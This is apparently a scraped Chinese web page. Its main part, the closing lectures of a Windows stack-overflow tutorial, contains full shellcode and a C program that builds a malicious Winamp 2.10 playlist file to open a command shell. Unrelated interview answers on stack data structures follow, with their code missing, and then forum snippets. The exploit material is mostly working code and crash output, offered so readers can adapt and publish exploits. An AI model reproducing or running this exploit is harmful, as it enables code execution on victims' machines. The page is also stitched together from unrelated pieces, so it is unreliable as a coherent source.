                lea eax,[ebp-0Ch]
                push eax
                call dword ptr[ebp-10h]
    然后是开一个dos窗口:
                push ebp             
                mov ebp, esp           
                sub esp, 0000002C       
                mov eax, 6D6D6F63           
                mov dword ptr [ebp-0C], eax
                mov eax, 2E646E61           
                mov dword ptr [ebp-08], eax
                mov eax, 226D6F63           
                mov dword ptr [ebp-04], eax
                xor edx, edx           
                mov byte ptr [ebp-01], dl 
                lea eax, dword ptr [ebp-0C]
                push eax             
                mov eax, 78019824 //system           
                call eax             
    最后执行exit,退出来。


                push ebp
                mov ebp,esp
                mov edx,0xFFFFFFFF
                sub edx,0x87FFAAFB//exit
                push edx
                xor eax,eax
                push eax
                call dword ptr[ebp-04h]


    简单说一下,msvcrt.dll是运行C语言标准库函数所必须的一个动态链接库。
    要想使用system,exit,必须加载这个库。而winamp没有import这个库,
    所译我们需要自己加载。
    指令   mov edx,0xBFF776D4中,0xBFF776D4是函数LoadLibraryA的地址。
    他的代码在kernel32.dll中,是被winamp加载了的dll。我的机器上kernel32.
    dll
    版本是: (v4.10.2222) .
    0x78019824 是msvcrt.dll里面的函数system的地址。版本:(v6.00.8397.0)
    0x78005504 是msvcrt.dll里面的函数exit的地址。版本:(v6.00.8397.0)
    由于里面有0,所以使用两条指令来完成:
    mov edx,0xFFFFFFFF
    sub edx,0x87FFAAFB//==mov edx,0x78005504
                
    编译,找出二进制code:
    shellcode:
    "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
    "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x4
    5\xFA\x2E\xC6"
    "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x50\x77\xF7\xbF\x52\x8
    D\x45\xF4\x50"
    "\xFF\x55\xF0"
    "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x6
    4\x2E"   
    "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x4
    5\xF4"         
    "\x50\xB8\x24\x98\x01\x78\xFF\xD0"           
    "\x55\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x5
    0\xFF\x55\xFC";


    好了,所有的算法都讨论完了,下一讲我们就来实现一个exploit。




     window系统下的堆栈溢出----最后的完善
              
    我们把前面写的测试程序稍加改动就是一个exploit程序:
    exploit.cpp
    ------------------------------------------------------------------------
    ----
    #include 


    int main()
    {


        
        char buffer[640];
        char eip[8] = "\xa3\x95\xf7\xBF";
        char shellcode[256] = 
        
    "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"//load


        
    "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x4
    5\xFA\x2E\xC6"
        
    "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x50\x77\xF7\xbF\x52\x8
    D\x45\xF4\x50"
        "\xFF\x55\xF0"
        
    "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x6
    4\x2E"   
        
    "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x4
    5\xF4"         
        "\x50\xB8\x24\x98\x01\x78\xFF\xD0"           
        
    "\x55\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x5
    0\xFF\x55\xFC";
        
        FILE *file;
        
        for(int x=0;x<580;x++)
        {
        buffer[x] = 0x90;
        }
        
        file = fopen("crAsh.pls","wb");
        
        fprintf(file, "[playlist]\n");
        fprintf(file, "File1=");
        fprintf(file, "%s", buffer);
        fprintf(file, "%s", eip);
        fprintf(file, "%s", shellcode);
        fprintf(file, "\nNumberOfEntries=1");
        
        fclose(file);
        printf("\t created file crAsh.pls loaded with the exploit.\n");


        return 0;
    }
    ------------------------------------------------------------------------
    ----
    OK,运行他,生成一个文件叫做crash.pls.在winamp里面打开这个playlist,
    就应该出一个dos。出来了吗?


    哎呀,怎么又是错误?


    WINAMP 在 017f:004200c3 的模块
    WINAMP.EXE 中导致无效页错误。
    Registers:
    EAX=00000001 CS=017f EIP=004200c3 EFLGS=00000206
    EBX=006da30c SS=0187 ESP=006da171 EBP=006da2f4
    ECX=00000000 DS=0187 ESI=00445638 FS=444f
    EDX=005b02dc ES=0187 EDI=00000001 GS=4446
    Bytes at CS:EIP:
    00 85 f6 7d 06 03 35 dc 23 44 00 8b 6c 24 10 3b 
    Stack dump:
    0a006da1 8000009d 0000442a 90000000 90909090 90909090 
    90909090 90909090 90909090 90909090 90909090 90909090 
    90909090 90909090 90909090 90909090 


    看看出错信息,EIP是4200c3,看来已经开始执行我们的shellcode了,怎么会有
    无效页错误呢?看来我们的shellcode有问题。


    这个时候,s-ice就又派上用场了,跟踪一下看看:
    ctrl-d
    bpx bff795a3(就是我们的jmp esp)
    x
    好,现在运行winamp,打开文件crash.pls,被s-ice拦下,开始跟踪。一个jmp 
    esp
    之后,就到了我们的shellcode上,继续执行,看到了什么吗?


    奇怪!我们的shellcode变短了,到B8249801,后面就没有了。这是怎么回事?
    应该是\xB8\x24\x98\x01\x78呀,\x01到什么地方去了?


    看来敌人把输入的溢出字符串作乐处理,把不能作为文件名的字符都作为0处理了


    (事实上这是win32api函数作的处理)。我们的shellcode被截断了。


    我在第4讲第一节就说过对这种问题的对策。这个问题的解决需要我们改换
    shellcode,
    去掉那些有问题的字符:\x01


    我们作如下替换:
    mov eax,78019824     ---->       mov eax,ffffffff
                              sub eax,87fe67db
    汇编得到:
                              
    xB8\x24\x98\x01\x78   ---->       \xB8\xFF\xFF\xFF\xFF
                              \x2d\xdB\x67\xFe\x87
    得到下面的新程序:
    /* Stack based buffer overflow exploit for Winamp v2.10
    * Author Steve Fewer, 04-01-2k. Mail me at darkplan@oceanfree.net
    *
    * For a detailed description on the exploit see my advisory.
    *
    * Tested with Winamp v2.10 using Windows98 on an Intel
    * PII 400 with 128MB RAM
    *
    * http://indigo.ie/~lmf


    * modify by ipxodi 20-01-2k


    * for windows98 the 2nd version and for a new shellcode.


    * windows98 v 4.10.2222.A chinese version
    * pII 366 with 64MB RAM(Not a good PC,en?)


    * ipxodi@263.net
    */


    #include 
    int main()
    {
        
        char buffer[640];
        char eip[8] = "\xa3\x95\xf7\xbf";
        char sploit[256] = 
    "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
        
    "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x4
    5\xFA\x2E\xC6"
        
    "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x50\x77\xF7\xbF\x52\x8
    D\x45\xF4\x50"
        "\xFF\x55\xF0"
        
    "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x6
    4\x2E"   
        
    "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x4
    5\xF4"         
        "\x50\xB8\xFF\xFF\xFF\xFF\x2d\xdB\x67\xFe\x87\xFF\xD0"
        
    "\x55\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x5
    0\xFF\x55\xFC";
        
        FILE *file;
        
        for(int x=0;x<580;x++)
        {
              buffer[x] = 0x90;
        }
        buffer[x]=0;
        file = fopen("crAsh.pls","wb");
        
        fprintf(file, "[playlist]\n");
        fprintf(file, "File1=");
        fprintf(file, "%s", buffer);
        fprintf(file, "%s", eip);
        fprintf(file, "%s", sploit);
        fprintf(file, "\nNumberOfEntries=1");
        
        fclose(file);
        printf("\t created file crAsh.pls loaded with the exploit.\n");


        return 0;
    }




    OK,运行他,生成一个文件叫做crash.pls.在winamp里面打开这个playlist,
    结果如下,我可爱的dos出来了:


    Microsoft(R) Windows 98
      (C)Copyright Microsoft Corp 1981-1999.


    D:\hacker\document\ipxodi>dir
    ..........................
    .........就不贴了.........


    --




    --------------------------------------------------------------------------------




    堆栈溢出系列讲座
              window系统下的堆栈溢出--总结




    经过这次实战的演练,大家一定对windows下的buffer overflow有了很深的掌握了

    我们可以看到,windows下的堆栈溢出攻击和unix下的,原理基本相同。但是,
    由于windows用户进程地址空间分配和堆栈处理有其独立的特点,导致了windows
    环境下堆栈溢出攻击时,使用的堆栈溢出字符串,与unix下的,区别很大。这也
    是我在写完linux下的堆栈溢出系列之后,另外写windows系列的原因。


    另外,大家从破解的过程中,可以发现我一再强调windows的版本。事实上,这
    也导致了windows下的exploit不具有通用性。大家的windows版本不一,
    而exploit使用了很多动态链接库里面的库函数,其地址都是与dll的版本有
    关系的。不同的dll版本,里面的库函数的偏移地址就可能(注意:是可能)
    不同。因为windows的patch天天有,他的一些dll就更新很快。甚至可能不同
    语言版本的windows,其核心dll的版本都不同。用户的dll一变更,
    那么,我们的exploit里面的shellcode就要重新写。


    为了解决这个问题,我想我们可以尽量减少固定地址的使用。即,使用
    GetProcAddress来获得我们将使用的每一个系统函数,当然这就大大加长了
    我们的shellcode。但是,这也无法消除对kernel32.dll的中LoadLibrary和
    GetProcAddress的地址的直接引用,因为这两个是shellcode中最基本的
    函数,自然就导致了对kernel32.dll版本的依赖。


    这里奉劝大家,当你写的exploit发生无效页错误时,不要灰心。运行sice,
    跟踪你的shellcode,会发现问题的根源的。


    因此,这也回答了去年xsz,littleworm它们的问题。当时我们实验IIS4.0
    的exploit总是没有成功,client端执行完了以后server端我们经常看到
    access violation的框,就是因为shellcode的版本依赖问题导致的。


    所以,对于windows下的堆栈溢出exploit,必须公开原代码,才能由其他人完成
    别的版本的修改,这一点,大家以后公布exploit时,要记住。


    说一句题外话:
    很多人运行了堆栈溢出exploit以后没有成功,就认为自己的机器没有毛病。
    对此,dark spyrit AKA Barnaby Jack曾有这样的建议:
    If the exploit failed......
    Do not determine the threat to your servers solely on the results of 
    one
    public exploit - the vulnerability exists, fix it. If you think that 
    was
    the only demonstration code floating around you need your head 
    examined.


    以前咱们水木黑客版97年堆栈溢出大讨论的时候,raner就很高水平的探讨过
    windows下的buffer overflow。他的文章现在还在,大家可以去精华区看看。
    不过当时只是探讨原理,还停留在堆栈溢出的可行性,远没有探讨利用他来攻击。


    我也曾经以为windows的堆栈溢出攻击是不必要的。


    后来,NT的中普通用户获取admin,我想到过仿照UNIX,搞缓冲区溢出攻击。
    因为NT里面有很多系统进程,都是以system账号启动的。如果我们可以将它们
    overflow,按照上面的方法,可以得到dos,(NT下是cmd.exe),将拥有
    超级用户的权限。当然可以为所欲为了。


    这只是windows NT下堆栈溢出攻击的一个应用。去年,我研究IIS4.0的溢出之后,


    发现带有问题的windows网络服务程序导致了windows堆栈溢出,可以帮助我们
    获得远程控制。才认识到windows堆栈溢出攻击将是一个很有研究价值的攻击
    手段。


    在后续的研究中,有时候因为困难几乎要放弃。好在有小懒虫(sysword),
    小四(hellguard),康师傅(kxn)这些网友
    给我的督促和帮助。在此感谢,同时感谢以前一起讨论过windows系列堆栈溢出
    的朋友littleworm,xsz它们。


    最后,我希望我的讲座作为抛砖引玉,能够引发大家更深入的探讨。希望大家在
    看了之后,能够对windows堆栈溢出技术有一定了了解。如果大家能够提出改进的


    算法,或者发现新的exploit,就真正是光大了我们黑客版的精神。


    让我们以下面这句话共勉:
    "If you assume that there's no hope, you guarantee there will be no 
    hope.
    If you assume that there is an instinct for freedom, there are
    opportunities to change things."
    展开全文
  • 堆栈

    2013-01-05 20:55:38
    3.1 怎样用一个数组实现三个堆栈 3.1解答: 解法一: 将数组划分成3等份,每一份独立的用来实现堆栈。 *第一个堆栈:从 0 至 n/3 *第二个堆栈:从 n/3 至 2n/3 *第三个堆栈:从2n/3 至 n 这种解法是基于对每个...

    堆栈

    队列

    3.1 怎样用一个数组实现三个堆栈
    3.1解答:
    解法一:
    将数组划分成3等份,每一份独立的用来实现堆栈。
    *第一个堆栈:从 0     至 n/3
    *第二个堆栈:从 n/3  至 2n/3
    *第三个堆栈:从2n/3 至 n
    这种解法是基于对每个堆栈的使用没有额外的使用说明,所以我们直接为每个堆栈划分固定的大小。

    解法二:
    解法二中的,主要数组中还有空余的空间,堆栈就还能增长。
    每次为堆栈分配一个空间的时候,在这个新空间中记录上一个空间地址。这样堆栈中的每个元素都有一个指针指向之前的元素。
    这样的实现方法有一个问题就是如果一个堆栈弹出一个空间(释放空间),这个空间并不会作为空闲空间现在数组后面。这样话我们就不能使用新产生的空闲空间。
    为了解决这个问题,我们用一个列表来记录空闲的空间。当有新空闲空间出现,我们就把它加入到这个表中。如果需要新分配一个空间,就从这个表中删除一个元素。
    这样的实现方法使得3个堆栈能够动态的使用数组的空间,但是这是以增大空间复杂度换来的。

    3.2 适合实现一个堆栈,除了有函数push、pop函数之外还有min函数,min函数范围堆栈中的最小元素。要求push,pop和min三个函数的时间复杂度均为O(1)。
    3.2解答:
    在每个堆栈中的节点中记录目前堆栈中的最小值。那么调用min( )函数时只需要看看栈顶元素中记录的最小值即可。

    但是这样解法存在的问题是,如果堆栈的需要记录的元素非常多,那么这样的方法将会消耗大量的空间。因为我们在每个堆栈的元素中都记录来了最小值。这个能不能改进呢?
    我们可以在创建一个辅助的堆栈只用来记录最小的元素。

    这样的方法就是不是有更高的效率呢,在堆栈s2中只记录最小值,避免了大量的冗余数据的记录。

    3.3 想象下啊:一堆盘子,如果堆得太高的话,就容易倒下来。所以在现实中如果盘子堆到一定高度,我们就会重新起一个堆。现在实现一个新的数据结构来模拟这样现象。SetOfStack当中包含很多的堆栈,当一个堆栈达到上限的时候,启用下一个堆栈。SetOfStack.push 和 SetOfStack.pop应该和普通堆栈的操作一样。
    进阶:
    实现一个函数popAt(int index),指定在哪个堆栈上弹出元素。
    3.3解答:
    根据题意,我们的数据结构大体上应该是这么一个框架:

    由于要和普通的堆栈的push()有相同的效果,也就是说每次push()都必须将元素放到最近使用的一个堆栈中。但是在这个堆栈已经满了情况下,那就必须建一个新的堆栈然后再入栈。那么push的实现如下:

    那pop()如何实现呢?和push()差不多,也一定要在最近的一个堆栈上操作。但是如果最后一个堆栈是空的话,就应该将其移除。

    那进阶的问题这么处理呢?
    这个问题确实有点难度。实现起来也比较麻烦,因为整个系统看起来应该像一个“翻转”系统。如果我从堆栈1中弹出一个元素,那么我们需要将堆栈2底部的元素压到堆栈1的顶端。堆栈3的元素要到堆栈2....
    注:你可能会不同意我的说法。认为实现这个函数不需要“翻转”整个堆栈。系统中的每个堆栈并不需要都是满栈的,这样的话也可以省下很多的时间复杂度,特别是在堆栈非常大的时候。但是如果假设除了最后一个堆栈之外,所有的堆栈必须满栈的话,这样的方法就不行了。具体采用什么样的结构,你可以在面试时和面试官好好沟通然后决定。

    3.4 经典的汉诺塔问题,有3根柱子,柱子上串有N个尺寸不同的碟子。汉诺塔问题的起始状态为,所有的碟子都从小到大的穿在柱子上(下面的碟子最大)。在满足下面三个限制:(A) 每次只能移动一个碟子;(B) 只有每根柱子顶端的碟子才能移动;(C)任何碟子只能放在比它大的碟子上。写一段程序(要求使用堆栈),将第一个根柱子上所有的碟子移动到移到最后一根柱子上。

    3.4解答:
    首先我们考虑解题的算法:将N个碟子从第一根柱子移到最后一根柱子。我们先从最简单的情况开始。如果只有一个碟子,那么直接将它移到最后的柱子。那两个碟子呢?
    (1)先将第一个碟子从第一根柱子移到第二根
    (2)将第二个碟子从第一根柱子上移动到第三根
    (3)再将第二根柱子上的碟子移动到第三根上,完成!
    那三个碟子呢?
    (1)采用两个碟子移动的方法,讲上两个碟子移动到第二根柱子上
    (2)将第三个碟子移动到第三根柱子
    (3)在采用运来的方法将第二根柱子上的两个碟子移动到第三根柱子。
    很明显采用递归算法就能解决本题:

    3.5 用两个堆栈来实现一个队列
    3.5解答:
    堆栈和队列的最大区别在于:一个是先进后出,一个是后进先出。但是题目的要求使得peek和pop的动作恰好相反。那么我们就可以利用第二个堆栈完成入栈元素顺序的反转。(先所有的元素进堆栈S1,这样最先进栈的元素在栈底,最后的在栈顶;然后将S1中的元素依次弹出,并压入堆栈S2中。这样S2中先进的元素就在栈顶后进的就在栈底了。)
    但是如果对队列和出队列的动作反复进行的话,我就要在S1和S2两个堆栈中反复的倒来倒去。其实有偷懒的方法。
    当有元素要进入队列的时候,直接压如堆栈S1中,元素需要从队列中出列的话,检查S2中是否有元素,如果没有再采用之前的方法将S1中的元素“倒”入到S2中,如果S2中非空在直接弹出元素即为队列中出列的元素。这样的方法就免于在两个堆栈之间倒来倒去了:

    3.6 写一个程序将堆栈升序排序。该堆栈就是一个普通的堆栈,不能有其他假设。函数实现是只能调用函数push(),pop(),peek()和isEmpty这几个函数。
    3.6解答:
    再建一个堆栈,从原堆栈中弹出一个元素到新的堆栈中。然后再比较原堆栈栈顶元素和新堆栈栈顶大小。如果符合排序规则,再次入新堆栈。如果不符合,在弹出新堆栈中的元素逐个比较直到满足排序关系。这样类似插入排序的方法,之间复杂度为O(n^2)。

    展开全文
  • 使用struts2时,如果dao部分产生错误,错误堆栈不是在Eclipse的控制台窗口打印,而是在struts2自定义的错误页面显示。(struts.devMode=true) 如何设置让它在Eclipse的...怎样设置能让它打印出所有的原始错误堆栈
  • 1.1. 任务堆栈一但溢出,意味着系统的崩溃,在有MMU或者MPU的系统中,对堆栈溢出的检测十分简单,因为这是MMU和MPU必备的功能之一。(uCOS-II/uCOS-III中均有针对没有MMU和MPU的处理器对堆栈溢出检测的策略) 1.2. ...
  • 我想问下,在Delphi中怎样在出异常后打印出函数调用堆栈,包括行号,函数名。 我知道Eurekalog有这个的完整功能,我想自己实现一套,看了下Eurekalog的源码,功能太复杂,没搞明白。 有谁有自己实现这一套的代码...
  • 简介:解释单任务计算机(不考虑中断)的函数调用堆栈机制,并在此基础上讨论分析多任务计算机是怎样工作的 实验过程: 从c源代码到运行可执行程序一般要经过以下几个阶段: 预处理->编译->汇编->链接 源...
  • 置顶/星标公众号,不错过每一条消息 前段时间分享文章《STM32的启动流程到底是怎样的?》之后,很多朋友问了关于堆栈的问题。今天就写点相关内容,让大家进一步了解堆栈...
  • 在找到起始点之后,获取起始点的前一个堆栈地址A(第一列),然后在堆栈的内容里面(第二列)寻找是否有等于A的堆栈B(向低地址寻找,因为堆栈是向低地址增长的),然后再在堆栈内容里面寻找是否有等于B的堆栈地址C...
  • 压栈一次esp-4,ebp不变esp是栈顶指针寄存器,堆栈操作只和esp有关比如有一个函数a,有两个参数,一般是这样的PUSH 1 参数2压栈,esp-4PUSH 2 参数1压栈,esp-4CALL a 调用a:PUSH EBP 保存ebpMOV EBP,ESP 改变栈帧,...
  • C/C++堆栈指引Binhua Liu前言 我们经常会讨论这种问题:什么时候数据存储在飞鸽传书堆栈(Stack)中。什么时候数据存储在堆(Heap)中。...堆栈(Stack)究竟是怎样工作的呢? 本文将具体解释C/C++堆栈的工作机制。阅...
  • 方法一 : ActivityManager am = (ActivityManager)getSystemService(TipsActivity.this.ACTIVITY_SERVICE); am.restartPackage(getPackageName()); System.exit(1);
  • 函数的调用和栈是分不开的,没有栈就没有函数调用,本节就来讲解函数在栈上是如何被调用的。栈帧/活动记录当发生函数调用时,会将函数运行需要的信息全部压入栈中,这常常被称为栈帧(Stack Frame)或活动记录...
  • 有一坨dump文件,一个一个拿vs来分析太浪费时间,现在想把它们转成文本格式,这样分析起来很快捷。 求解决方案。

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 413
精华内容 165
关键字:

怎样堆栈